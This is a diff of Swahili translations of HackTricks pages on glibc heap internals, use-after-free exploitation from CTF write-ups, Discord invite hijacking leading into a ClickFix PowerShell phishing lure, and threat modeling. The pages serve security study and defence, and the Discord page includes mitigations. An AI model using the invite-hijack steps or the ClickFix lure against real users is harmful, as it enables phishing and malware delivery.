Kumbuka kwamba ikiwa **kumbukumbu iliyohitajika inapita kigezo fulani**, **`mmap`** itatumika kuunganisha kumbukumbu iliyohitajika.
|
||||
Kumbuka kwamba ikiwa **kumbukumbu iliyombwa inapita kigezo fulani**, **`mmap`** itatumika kuunganisha kumbukumbu iliyombwa.
|
||||
|
||||
## Arenas
|
||||
|
||||
Katika **maombi ya multithreaded**, meneja wa heap lazima kuzuia **mashindano** ambayo yanaweza kusababisha ajali. Awali, hii ilifanywa kwa kutumia **mutex ya kimataifa** kuhakikisha kwamba nyuzi moja tu inaweza kufikia heap kwa wakati mmoja, lakini hii ilisababisha **masuala ya utendaji** kutokana na kuzuiliwa kwa mutex.
|
||||
Katika **maombi ya multithreaded**, meneja wa heap lazima kuzuia **mashindano ya mbio** ambayo yanaweza kusababisha ajali. Awali, hii ilifanywa kwa kutumia **mutex ya kimataifa** kuhakikisha kwamba thread moja tu inaweza kufikia heap kwa wakati mmoja, lakini hii ilisababisha **masuala ya utendaji** kutokana na kuzuiliwa kwa mutex.
|
||||
|
||||
Ili kushughulikia hili, allocator wa heap wa ptmalloc2 ilianzisha "arenas," ambapo **kila arena** inafanya kazi kama **heap tofauti** yenye **miundo** yake **ya data** na **mutex**, ikiruhusu nyuzi nyingi kufanya operesheni za heap bila kuingiliana, mradi tu wanatumia arenas tofauti.
|
||||
Ili kushughulikia hili, allocator ya heap ya ptmalloc2 ilianzisha "arenas," ambapo **kila arena** inafanya kazi kama **heap tofauti** yenye **miundo** yake **mwenyewe** na **mutex**, ikiruhusu nyuzi nyingi kufanya operesheni za heap bila kuingiliana, mradi tu watumie arenas tofauti.
|
||||
|
||||
Arena ya "muhimu" inashughulikia operesheni za heap kwa maombi ya nyuzi moja. Wakati **nyuzi mpya** zinapoongezwa, meneja wa heap anawapa **arenas za pili** ili kupunguza ushindani. Kwanza inajaribu kuunganisha kila nyuzi mpya kwenye arena isiyotumika, ikiumba mpya ikiwa inahitajika, hadi kikomo cha mara 2 ya idadi ya nyuzi za CPU kwa mifumo ya 32-bit na mara 8 kwa mifumo ya 64-bit. Mara kikomo kinapofikiwa, **nyuzi lazima zishiriki arenas**, na kusababisha ushindani wa uwezekano.
|
||||
Arena ya "muhimu" ya default inashughulikia operesheni za heap kwa maombi ya nyuzi moja. Wakati **nyuzi mpya** zinapoongezwa, meneja wa heap anawapa **arenas za sekondari** ili kupunguza ushindani. Kwanza inajaribu kuunganisha kila nyuzi mpya kwenye arena isiyotumika, ikiumba mpya ikiwa inahitajika, hadi kikomo cha mara 2 ya idadi ya nyuzi za CPU kwa mifumo ya 32-bit na mara 8 kwa mifumo ya 64-bit. Mara kikomo kinapofikiwa, **nyuzi lazima zishiriki arenas**, na kusababisha ushindani wa uwezekano.
|
||||
|
||||
Tofauti na arena ya msingi, ambayo inapanuka kwa kutumia wito wa mfumo wa `brk`, arenas za pili zinaunda "subheaps" kwa kutumia `mmap` na `mprotect` kuiga tabia ya heap, ikiruhusu kubadilika katika usimamizi wa kumbukumbu kwa operesheni za multithreaded.
|
||||
Tofauti na arena ya msingi, ambayo inapanuka kwa kutumia wito wa mfumo wa `brk`, arenas za sekondari zinaunda "subheaps" kwa kutumia `mmap` na `mprotect` kuiga tabia ya heap, ikiruhusu kubadilika katika usimamizi wa kumbukumbu kwa operesheni za multithreaded.
|
||||
|
||||
### Subheaps
|
||||
|
||||
Subheaps hutumikia kama akiba ya kumbukumbu kwa arenas za pili katika maombi ya multithreaded, ikiruhusu kukua na kusimamia maeneo yao ya heap tofauti na heap kuu. Hapa kuna jinsi subheaps zinavyotofautiana na heap ya awali na jinsi zinavyofanya kazi:
|
||||
Subheaps hutumikia kama akiba ya kumbukumbu kwa arenas za sekondari katika maombi ya multithreaded, ikiruhusu kukua na kusimamia maeneo yao ya heap tofauti na heap kuu. Hapa kuna jinsi subheaps zinavyotofautiana na heap ya awali na jinsi zinavyofanya kazi:
|
||||
|
||||
1. **Heap ya Awali vs. Subheaps**:
|
||||
- Heap ya awali iko moja kwa moja baada ya binary ya programu katika kumbukumbu, na inapanuka kwa kutumia wito wa mfumo wa `sbrk`.
|
||||
- Subheaps, zinazotumiwa na arenas za pili, zinaundwa kupitia `mmap`, wito wa mfumo unaounganisha eneo maalum la kumbukumbu.
|
||||
- Subheaps, zinazotumiwa na arenas za sekondari, zinaundwa kupitia `mmap`, wito wa mfumo unaounganisha eneo fulani la kumbukumbu.
|
||||
2. **Hifadhi ya Kumbukumbu kwa kutumia `mmap`**:
|
||||
- Wakati meneja wa heap anaunda subheap, anahifadhi block kubwa ya kumbukumbu kupitia `mmap`. Hifadhi hii haitoi kumbukumbu mara moja; inateua tu eneo ambalo michakato mingine ya mfumo au usambazaji haipaswi kutumia.
|
||||
- Wakati meneja wa heap anaunda subheap, anahifadhi block kubwa ya kumbukumbu kupitia `mmap`. Hifadhi hii haitoi kumbukumbu mara moja; inateua tu eneo ambalo michakato mingine ya mfumo au ugawaji haipaswi kutumia.
|
||||
- Kwa kawaida, ukubwa uliotengwa kwa subheap ni 1 MB kwa michakato ya 32-bit na 64 MB kwa michakato ya 64-bit.
|
||||
3. **Upanuzi wa Polepole kwa kutumia `mprotect`**:
|
||||
- Eneo la kumbukumbu lililotengwa awali linapewa alama kama `PROT_NONE`, ikionyesha kwamba kernel haitaji kutenga kumbukumbu halisi kwa nafasi hii bado.
|
||||
- Ili "kukua" subheap, meneja wa heap anatumia `mprotect` kubadilisha ruhusa za ukurasa kutoka `PROT_NONE` hadi `PROT_READ | PROT_WRITE`, ikimhimiza kernel kutenga kumbukumbu halisi kwa anwani zilizotengwa hapo awali. Njia hii ya hatua kwa hatua inaruhusu subheap kupanuka kadri inavyohitajika.
|
||||
- Mara subheap yote itakapokamilika, meneja wa heap anaunda subheap mpya ili kuendelea na usambazaji.
|
||||
- Eneo la kumbukumbu lililotengwa awali linapewa alama kama `PROT_NONE`, ikionyesha kwamba kernel haitaji kutoa kumbukumbu halisi kwa nafasi hii bado.
|
||||
- Ili "kukua" subheap, meneja wa heap anatumia `mprotect` kubadilisha ruhusa za ukurasa kutoka `PROT_NONE` hadi `PROT_READ | PROT_WRITE`, ikimhimiza kernel kutoa kumbukumbu halisi kwa anwani zilizotengwa hapo awali. Njia hii ya hatua kwa hatua inaruhusu subheap kupanuka kadri inavyohitajika.
|
||||
- Mara subheap yote itakapokamilika, meneja wa heap anaunda subheap mpya ili kuendelea na ugawaji.
|
||||
|
||||
### heap_info <a href="#heap_info" id="heap_info"></a>
|
||||
|
||||
Struktura hii inatenga taarifa muhimu za heap. Aidha, kumbukumbu ya heap inaweza kuwa si ya mfululizo baada ya usambazaji zaidi, struktura hii pia itahifadhi taarifa hiyo.
|
||||
Struct hii inatenga taarifa muhimu za heap. Aidha, kumbukumbu ya heap inaweza kuwa si ya mfululizo baada ya ugawaji zaidi, struct hii pia itahifadhi taarifa hiyo.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
|
||||
|
||||
@ -91,10 +91,10 @@ Kuna mambo kadhaa ya kuvutia ya kuzingatia kutoka kwa muundo huu (ona msimbo wa
|
||||
```
|
||||
|
||||
- `mchunkptr bins[NBINS * 2 - 2];` ina **viungo** kwa **chunks za kwanza na za mwisho** za **bins** ndogo, kubwa na zisizo na mpangilio (the -2 ni kwa sababu index 0 haitumiki)
|
||||
- Hivyo, **chunk ya kwanza** ya bins hizi itakuwa na **kiungo cha nyuma kwa muundo huu** na **chunk ya mwisho** ya bins hizi itakuwa na **kiungo cha mbele** kwa muundo huu. Ambayo kimsingi inamaanisha kwamba ikiwa unaweza **kuvuja anwani hizi katika main arena** utakuwa na kiungo kwa muundo katika **libc**.
|
||||
- Struktura `struct malloc_state *next;` na `struct malloc_state *next_free;` ni orodha zilizounganishwa za arenas
|
||||
- Chunk ya `top` ni "chunk" ya mwisho, ambayo kimsingi ni **nafasi yote iliyobaki ya heap**. Mara chunk ya juu inakuwa "tupu", heap imetumika kabisa na inahitaji kuomba nafasi zaidi.
|
||||
- Chunk ya `last reminder` inatokana na hali ambapo chunk ya ukubwa sahihi haitapatikana na hivyo chunk kubwa inakatwa, sehemu ya kiungo iliyobaki inawekwa hapa.
|
||||
- Kwa hivyo, **chunk ya kwanza** ya bins hizi itakuwa na **kiungo cha nyuma kwa muundo huu** na **chunk ya mwisho** ya bins hizi itakuwa na **kiungo cha mbele** kwa muundo huu. Ambayo kimsingi inamaanisha kwamba ikiwa unaweza **kuvuja anwani hizi katika main arena** utakuwa na kiungo kwa muundo katika **libc**.
|
||||
- Miundo `struct malloc_state *next;` na `struct malloc_state *next_free;` ni orodha zilizounganishwa za arenas
|
||||
- **Chunk ya juu** ni "chunk" ya mwisho, ambayo kimsingi ni **nafasi yote iliyobaki ya heap**. Mara chunk ya juu inapokuwa "bila", heap imetumika kabisa na inahitaji kuomba nafasi zaidi.
|
||||
- **Chunk ya mwisho iliyobaki** inatokana na hali ambapo chunk ya ukubwa sahihi haitapatikana na kwa hivyo chunk kubwa inakatwa, sehemu ya kiungo iliyobaki inawekwa hapa.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
||||
|
||||
@ -144,7 +144,7 @@ INTERNAL_SIZE_T max_system_mem;
|
||||
```
|
||||
### malloc_chunk
|
||||
|
||||
Muundo huu unawakilisha kipande maalum cha kumbukumbu. Nyanja mbalimbali zina maana tofauti kwa vipande vilivyotolewa na visivyotolewa.
|
||||
Muundo huu unawakilisha kipande maalum cha kumbukumbu. Nyanja mbalimbali zina maana tofauti kwa vipande vilivyotengwa na visivyotengwa.
|
||||
```c
|
||||
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
struct malloc_chunk {
|
||||
@ -163,18 +163,18 @@ Kama ilivyotajwa hapo awali, vipande hivi pia vina metadata, ambayo inaonyeshwa
|
||||
|
||||
<figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
Metadata kawaida ni 0x08B ikionyesha ukubwa wa sasa wa kipande kwa kutumia bits 3 za mwisho kuonyesha:
|
||||
Metadata mara nyingi ni 0x08B ikionyesha ukubwa wa sasa wa kipande kwa kutumia bits 3 za mwisho kuonyesha:
|
||||
|
||||
- `A`: Ikiwa 1 inatoka kwenye subheap, ikiwa 0 iko kwenye arena kuu
|
||||
- `M`: Ikiwa 1, kipande hiki ni sehemu ya nafasi iliyotolewa na mmap na si sehemu ya heap
|
||||
- `P`: Ikiwa 1, kipande cha awali kinatumika
|
||||
- `M`: Ikiwa 1, kipande hiki ni sehemu ya nafasi iliyotengwa na mmap na si sehemu ya heap
|
||||
- `P`: Ikiwa 1, kipande kilichopita kinatumika
|
||||
|
||||
Kisha, nafasi ya data ya mtumiaji, na hatimaye 0x08B kuonyesha ukubwa wa kipande cha awali wakati kipande kinapatikana (au kuhifadhi data ya mtumiaji wakati kinapopewa).
|
||||
Kisha, nafasi ya data ya mtumiaji, na hatimaye 0x08B kuonyesha ukubwa wa kipande kilichopita wakati kipande kinapatikana (au kuhifadhi data ya mtumiaji wakati inatengwa).
|
||||
|
||||
Zaidi ya hayo, wakati kinapatikana, data ya mtumiaji inatumika pia kubeba data fulani:
|
||||
Zaidi ya hayo, wakati inapatikana, data ya mtumiaji inatumika pia kubeba data fulani:
|
||||
|
||||
- **`fd`**: Kielekezi kwa kipande kinachofuata
|
||||
- **`bk`**: Kielekezi kwa kipande cha awali
|
||||
- **`bk`**: Kielekezi kwa kipande kilichopita
|
||||
- **`fd_nextsize`**: Kielekezi kwa kipande cha kwanza katika orodha ambacho ni kidogo kuliko yenyewe
|
||||
- **`bk_nextsize`:** Kielekezi kwa kipande cha kwanza katika orodha ambacho ni kikubwa kuliko yenyewe
|
||||
|
||||
@ -261,11 +261,11 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
|
||||
return request2size (req);
|
||||
}
|
||||
```
|
||||
Kumbuka kwamba kwa kuhesabu jumla ya nafasi inayohitajika, `SIZE_SZ` inaongezwa mara 1 tu kwa sababu uwanja wa `prev_size` unaweza kutumika kuhifadhi data, kwa hivyo kichwa cha awali pekee kinahitajika.
|
||||
Kumbuka kwamba kwa kuhesabu jumla ya nafasi inayohitajika, `SIZE_SZ` inaongezwa mara moja tu kwa sababu uwanja wa `prev_size` unaweza kutumika kuhifadhi data, hivyo basi kichwa cha awali pekee kinahitajika.
|
||||
|
||||
### Pata data ya Chunk na badilisha metadata
|
||||
|
||||
Hizi kazi zinafanya kazi kwa kupokea kiashiria kwa chunk na ni muhimu kuangalia/set metadata:
|
||||
Hizi kazi zinafanya kazi kwa kupokea kiashiria kwa chunk na ni muhimu kuangalia/kuweka metadata:
|
||||
|
||||
- Angalia bendera za chunk
|
||||
```c
|
||||
@ -411,7 +411,7 @@ ptr = malloc(0x10);
|
||||
strcpy(ptr, "panda");
|
||||
}
|
||||
```
|
||||
Seti breakpoint kwenye mwisho wa kazi kuu na tuone ambapo taarifa ilihifadhiwa:
|
||||
Seti breakpoint kwenye mwisho wa kazi kuu na tuone ambapo taarifa zilihifadhiwa:
|
||||
|
||||
<figure><img src="../../images/image (1239).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -471,21 +471,21 @@ return 0;
|
||||
```
|
||||
</details>
|
||||
|
||||
Kwa kuangalia mfano uliopita, inawezekana kuona jinsi mwanzoni kulikuwa na arena 1 tu:
|
||||
Kwa kuangalia mfano wa awali, inawezekana kuona jinsi mwanzoni kuna arena 1 tu:
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Kisha, baada ya kuita thread ya kwanza, ile inayoiita malloc, arena mpya inaundwa:
|
||||
Kisha, baada ya kuita thread ya kwanza, ile inayoitwa malloc, arena mpya inaundwa:
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
na ndani yake kuna chunks kadhaa zinazoweza kupatikana:
|
||||
na ndani yake kuna chunks kadhaa zinazopatikana:
|
||||
|
||||
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Bins & Allocations za Kumbukumbu/Kuondoa
|
||||
|
||||
Angalia ni zipi bins na jinsi zilivyoandaliwa na jinsi kumbukumbu inavyotolewa na kuondolewa katika:
|
||||
Angalia ni bins zipi na jinsi zilivyoandaliwa na jinsi kumbukumbu inavyotolewa na kuondolewa katika:
|
||||
|
||||
{{#ref}}
|
||||
bins-and-memory-allocations.md
|
||||
@ -499,10 +499,10 @@ Kazi zinazohusiana na heap zitaweka ukaguzi fulani kabla ya kutekeleza vitendo v
|
||||
heap-memory-functions/heap-functions-security-checks.md
|
||||
{{#endref}}
|
||||
|
||||
## Marejeleo
|
||||
## Marejeo
|
||||
|
||||
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
|
||||
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -8,13 +8,13 @@ Wakati unachomoa kumbukumbu katika programu ukitumia glibc, "bins" tofauti zinat
|
||||
|
||||
### Bins Zisizo na Mpangilio
|
||||
|
||||
Wakati unachomoa kipande cha kumbukumbu ambacho si kipande cha haraka, kinaenda kwenye bin isiyo na mpangilio. Bin hii inafanya kazi kama orodha ambapo vipande vipya vilivyotolewa vinaongezwa mbele (the "head"). Wakati unahitaji kipande kipya cha kumbukumbu, mtoaji anatazama bin isiyo na mpangilio kutoka nyuma (the "tail") ili kupata kipande ambacho ni kikubwa vya kutosha. Ikiwa kipande kutoka kwenye bin isiyo na mpangilio ni kikubwa zaidi ya kile unachohitaji, kinagawanywa, ambapo sehemu ya mbele inarudishwa na sehemu iliyobaki inabaki kwenye bin.
|
||||
Wakati unachomoa kipande cha kumbukumbu ambacho si kipande cha haraka, kinaenda kwenye bin isiyo na mpangilio. Bin hii inafanya kazi kama orodha ambapo vipande vipya vilivyotolewa vinapowekwa mbele ( "head"). Wakati unahitaji kipande kipya cha kumbukumbu, mtoaji anatazama bin isiyo na mpangilio kutoka nyuma ("tail") ili kupata kipande ambacho ni kikubwa vya kutosha. Ikiwa kipande kutoka kwenye bin isiyo na mpangilio ni kikubwa kuliko unavyohitaji, kinakatwa, na sehemu ya mbele inarudishwa huku sehemu iliyobaki ikibaki kwenye bin.
|
||||
|
||||
Mfano:
|
||||
|
||||
- Unapotoa 300 bytes (`a`), kisha 250 bytes (`b`), unachomoa `a` na kuomba tena 250 bytes (`c`).
|
||||
- Unapoweka 300 bytes (`a`), kisha 250 bytes (`b`), unachomoa `a` na kuomba tena 250 bytes (`c`).
|
||||
- Wakati unachomoa `a`, inaenda kwenye bin isiyo na mpangilio.
|
||||
- Ikiwa kisha unahitaji 250 bytes tena, mtoaji anapata `a` kwenye tail na kuigawanya, akirudisha sehemu inayofaa ombi lako na kuweka zingine kwenye bin.
|
||||
- Ikiwa kisha unahitaji 250 bytes tena, mtoaji anapata `a` kwenye tail na kuikata, akirudisha sehemu inayofaa ombi lako na kuweka iliyobaki kwenye bin.
|
||||
- `c` itakuwa ikielekeza kwenye `a` ya awali na kujazwa na `a's`.
|
||||
```c
|
||||
char *a = malloc(300);
|
||||
@ -24,7 +24,7 @@ char *c = malloc(250);
|
||||
```
|
||||
### Fastbins
|
||||
|
||||
Fastbins hutumiwa kwa vipande vidogo vya kumbukumbu. Tofauti na unsorted bins, fastbins huongeza vipande vipya kwenye kichwa, na kuunda tabia ya last-in-first-out (LIFO). Ikiwa unahitaji kipande kidogo cha kumbukumbu, allocator atavuta kutoka kichwa cha fastbin.
|
||||
Fastbins zinatumika kwa vipande vidogo vya kumbukumbu. Tofauti na unsorted bins, fastbins zinaongeza vipande vipya kwenye kichwa, na kuunda tabia ya last-in-first-out (LIFO). Ikiwa unahitaji kipande kidogo cha kumbukumbu, allocator itavuta kutoka kichwa cha fastbin.
|
||||
|
||||
Mfano:
|
||||
|
||||
@ -49,9 +49,9 @@ d = malloc(20); // a
|
||||
|
||||
- [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit)
|
||||
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
|
||||
- ARM64. Tumia baada ya kuachiliwa: Tengeneza kitu cha mtumiaji, kiache, tengeneza kitu kinachopata kipande kilichoachiliwa na ruhusu kuandika ndani yake, **kuandika upya nafasi ya user->password** kutoka kwa ile ya awali. Tumia tena mtumiaji ili **kupita ukaguzi wa nenosiri**
|
||||
- ARM64. Tumia baada ya kuachiliwa: Tengeneza kitu cha mtumiaji, kiache, tengeneza kitu kinachopata kipande kilichoachiliwa na ruhusu kuandika ndani yake, **kuandika nafasi ya user->password** kutoka kwa ile ya awali. Tumia tena mtumiaji ili **kupita ukaguzi wa nenosiri**
|
||||
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
|
||||
- Programu inaruhusu kuunda noti. Noti itakuwa na taarifa za noti katika malloc(8) (ikiwa na kiashiria kwa kazi inayoweza kuitwa) na kiashiria kwa malloc(\<size>) nyingine yenye maudhui ya noti.
|
||||
- Programu inaruhusu kuunda noti. Noti itakuwa na taarifa za noti katika malloc(8) (ikiwa na kiashiria kwa kazi ambayo inaweza kuitwa) na kiashiria kwa malloc(\<size>) nyingine yenye maudhui ya noti.
|
||||
- Shambulio litakuwa kuunda noti 2 (note0 na note1) zikiwa na maudhui makubwa ya malloc kuliko saizi ya taarifa za noti na kisha kuziachilia ili ziingie kwenye fast bin (au tcache).
|
||||
- Kisha, tengeneza noti nyingine (note2) yenye saizi ya maudhui 8. Maudhui yatakuwa katika note1 kwani kipande kitarejelewa, ambapo tunaweza kubadilisha kiashiria cha kazi ili kiashirie kazi ya ushindi na kisha Tumia-Baada-ya-Kuachiliwa noti1 ili kuita kiashiria kipya cha kazi.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
|
||||
@ -59,4 +59,4 @@ d = malloc(20); // a
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
|
||||
- Katika kesi hii inahitajika kuandika 4 ndani ya kipande maalum ambacho ndicho cha kwanza kinachotengwa (hata baada ya kuachilia kwa nguvu yote). Kila kipande kipya kinachotengwa nambari yake katika orodha ya kiashiria inahifadhiwa. Kisha, tengeneza vipande 4 (+ kile kilichotengwa awali), cha mwisho kitakuwa na 4 ndani yake, kiache na kulazimisha urejeleaji wa cha kwanza, ambacho kitatumia kipande cha mwisho kilichoachiliwa ambacho ndicho chenye 4 ndani yake.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -2,14 +2,14 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Uthibitisho wa mfumo wa mwaliko wa Discord unaruhusu wahalifu kudai nambari za mwaliko zilizokwisha muda au kufutwa (za muda, za kudumu, au za kibinafsi) kama viungo vipya vya kibinafsi kwenye seva yoyote iliyoimarishwa kiwango cha 3. Kwa kupeleka nambari zote kwa herufi ndogo, washambuliaji wanaweza kujiandikisha mapema nambari za mwaliko zinazojulikana na kwa kimya kuhamasisha trafiki mara nambari ya asili inapokwisha muda au seva ya chanzo inapopoteza nguvu yake.
|
||||
Uwezo wa mfumo wa mwaliko wa Discord unaruhusu wahalifu kudai nambari za mwaliko zilizokwisha muda au kufutwa (za muda, za kudumu, au za kibinafsi) kama viungo vipya vya kibinafsi kwenye seva yoyote iliyoimarishwa kiwango cha 3. Kwa kupeleka nambari zote kwa herufi ndogo, washambuliaji wanaweza kujiandikisha mapema nambari za mwaliko zinazojulikana na kwa kimya kuhamasisha trafiki mara nambari ya asili inapokwisha muda au seva ya chanzo inapopoteza nguvu yake.
|
||||
|
||||
## Aina za Mwaliko na Hatari ya Kuiba
|
||||
|
||||
| Aina ya Mwaliko | Inaweza Kuibwa? | Masharti / Maoni |
|
||||
|-----------------------|------------------|-----------------------------------------------------------------------------------------------------------|
|
||||
| Kiungo cha Mwaliko wa Muda | ✅ | Baada ya kuisha, nambari inapatikana na inaweza kujiandikisha tena kama URL ya kibinafsi na seva iliyoimarishwa. |
|
||||
| Kiungo cha Mwaliko wa Kudumu | ⚠️ | Ikiwa imefutwa na inajumuisha herufi ndogo tu na nambari, nambari inaweza kupatikana tena. |
|
||||
| Kiungo cha Mwaliko wa Kudumu | ⚠️ | Ikiwa imefutwa na inajumuisha herufi ndogo tu na nambari, nambari inaweza kupatikana tena. |
|
||||
| Kiungo cha Kibinafsi | ✅ | Ikiwa seva ya asili inapoteza nguvu yake ya Kiwango cha 3, mwaliko wake wa kibinafsi unapatikana kwa usajili mpya. |
|
||||
|
||||
## Hatua za Kutumia
|
||||
@ -19,12 +19,12 @@ Uthibitisho wa mfumo wa mwaliko wa Discord unaruhusu wahalifu kudai nambari za m
|
||||
- Kusanya nambari za mwaliko zinazovutia (za muda au za kibinafsi).
|
||||
2. Usajili wa Mapema
|
||||
- Unda au tumia seva ya Discord iliyopo yenye haki za Kiwango cha 3.
|
||||
- Katika **Mipangilio ya Seva → URL ya Kibinafsi**, jaribu kupeana nambari ya mwaliko wa lengo. Ikiwa inakubaliwa, nambari hiyo inahifadhiwa na seva mbaya.
|
||||
- Katika **Mipangilio ya Seva → URL ya Kibinafsi**, jaribu kupewa nambari ya mwaliko wa lengo. Ikiwa inakubaliwa, nambari hiyo inahifadhiwa na seva mbaya.
|
||||
3. Kuanzisha Kuiba
|
||||
- Kwa mwaliko wa muda, subiri hadi mwaliko wa asili uishe (au uifute kwa mikono ikiwa unadhibiti chanzo).
|
||||
- Kwa nambari zinazojumuisha herufi kubwa, toleo la herufi ndogo linaweza kudaiwa mara moja, ingawa uelekezaji unaanza tu baada ya kuisha.
|
||||
4. Uelekezaji wa Kimya
|
||||
- Watumiaji wanaotembelea kiungo cha zamani wanapelekwa kwa seva inayodhibitiwa na mshambuliaji mara tu kuiba inapoanza.
|
||||
- Watumiaji wanaotembelea kiungo cha zamani wanapelekwa kwa urahisi kwenye seva inayodhibitiwa na mshambuliaji mara tu kuiba inapoanza.
|
||||
|
||||
## Mchakato wa Phishing kupitia Seva ya Discord
|
||||
|
||||
@ -33,7 +33,7 @@ Uthibitisho wa mfumo wa mwaliko wa Discord unaruhusu wahalifu kudai nambari za m
|
||||
3. Bot inaelekeza watumiaji kwenye tovuti ya phishing (mfano, `captchaguard.me`) chini ya kivuli cha hatua ya CAPTCHA au uthibitisho.
|
||||
4. Tekeleza hila ya UX ya **ClickFix**:
|
||||
- Onyesha ujumbe wa CAPTCHA ulioharibika.
|
||||
- Elekeza watumiaji kufungua mazungumzo ya **Win+R**, kubandika amri ya PowerShell iliyopakiwa mapema, na kubonyeza Enter.
|
||||
- Mwongoze watumiaji kufungua mazungumzo ya **Win+R**, kubandika amri ya PowerShell iliyopakiwa mapema, na kubonyeza Enter.
|
||||
|
||||
### Mfano wa Uingizaji wa ClickFix Clipboard
|
||||
```javascript
|
||||
@ -48,7 +48,7 @@ Hii mbinu inakwepa upakuaji wa moja kwa moja wa faili na inatumia vipengele vya
|
||||
|
||||
## Mitigations
|
||||
|
||||
- Tumia viungo vya mwaliko vya kudumu vinavyokuwa na angalau herufi moja kubwa au alama isiyo ya nambari (visivyoweza kuisha, visivyoweza kutumika tena).
|
||||
- Tumia viungo vya mwaliko vya kudumu vinavyokuwa na angalau herufi moja kubwa au alama zisizo za nambari (hazitakoma, hazitumiwi tena).
|
||||
- Badilisha mara kwa mara misimbo ya mwaliko na kufuta viungo vya zamani.
|
||||
- Fuata hali ya kuimarisha seva ya Discord na madai ya URL ya urembo.
|
||||
- Wafundishe watumiaji kuthibitisha uhalali wa seva na kuepuka kutekeleza amri zilizopachikwa kwenye clipboard.
|
||||
@ -58,4 +58,4 @@ Hii mbinu inakwepa upakuaji wa moja kwa moja wa faili na inatumia vipengele vya
|
||||
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
|
||||
- Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# Threat Modeling
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Threat Modeling
|
||||
|
||||
@ -13,9 +13,9 @@ Karibu kwenye mwongozo wa kina wa HackTricks kuhusu Threat Modeling! Anza uchung
|
||||
|
||||
### Threat Model in a Nutshell
|
||||
|
||||
Modeli ya Threat mara nyingi inawakilishwa kama mchoro, picha, au aina nyingine ya uwasilishaji wa kuona unaoonyesha usanifu uliopangwa au ujenzi wa sasa wa programu. Inafanana na **data flow diagram**, lakini tofauti kuu iko katika muundo wake unaolenga usalama.
|
||||
Threat Model kwa kawaida inawakilishwa kama mchoro, picha, au aina nyingine ya uwasilishaji wa kuona unaoonyesha usanifu uliopangwa au ujenzi wa sasa wa programu. Inafanana na **data flow diagram**, lakini tofauti kuu iko katika muundo wake unaolenga usalama.
|
||||
|
||||
Modeli za threat mara nyingi zina vipengele vilivyotajwa kwa rangi nyekundu, vinavyowakilisha udhaifu, hatari, au vizuizi vinavyoweza kutokea. Ili kurahisisha mchakato wa kutambua hatari, triad ya CIA (Usiri, Uaminifu, Upatikanaji) inatumika, ik forming msingi wa mbinu nyingi za threat modeling, huku STRIDE ikiwa moja ya maarufu zaidi. Hata hivyo, mbinu iliyochaguliwa inaweza kutofautiana kulingana na muktadha maalum na mahitaji.
|
||||
Threat models mara nyingi hujumuisha vipengele vilivyotajwa kwa rangi nyekundu, vinavyowakilisha udhaifu, hatari, au vizuizi vinavyoweza kutokea. Ili kurahisisha mchakato wa kutambua hatari, triad ya CIA (Usiri, Uaminifu, Upatikanaji) inatumika, ik forming msingi wa mbinu nyingi za threat modeling, huku STRIDE ikiwa moja ya maarufu zaidi. Hata hivyo, mbinu iliyochaguliwa inaweza kutofautiana kulingana na muktadha maalum na mahitaji.
|
||||
|
||||
### The CIA Triad
|
||||
|
||||
@ -27,20 +27,20 @@ Triad ya CIA ni mfano unaotambulika sana katika uwanja wa usalama wa habari, iki
|
||||
|
||||
### Threat Modeling Methodlogies
|
||||
|
||||
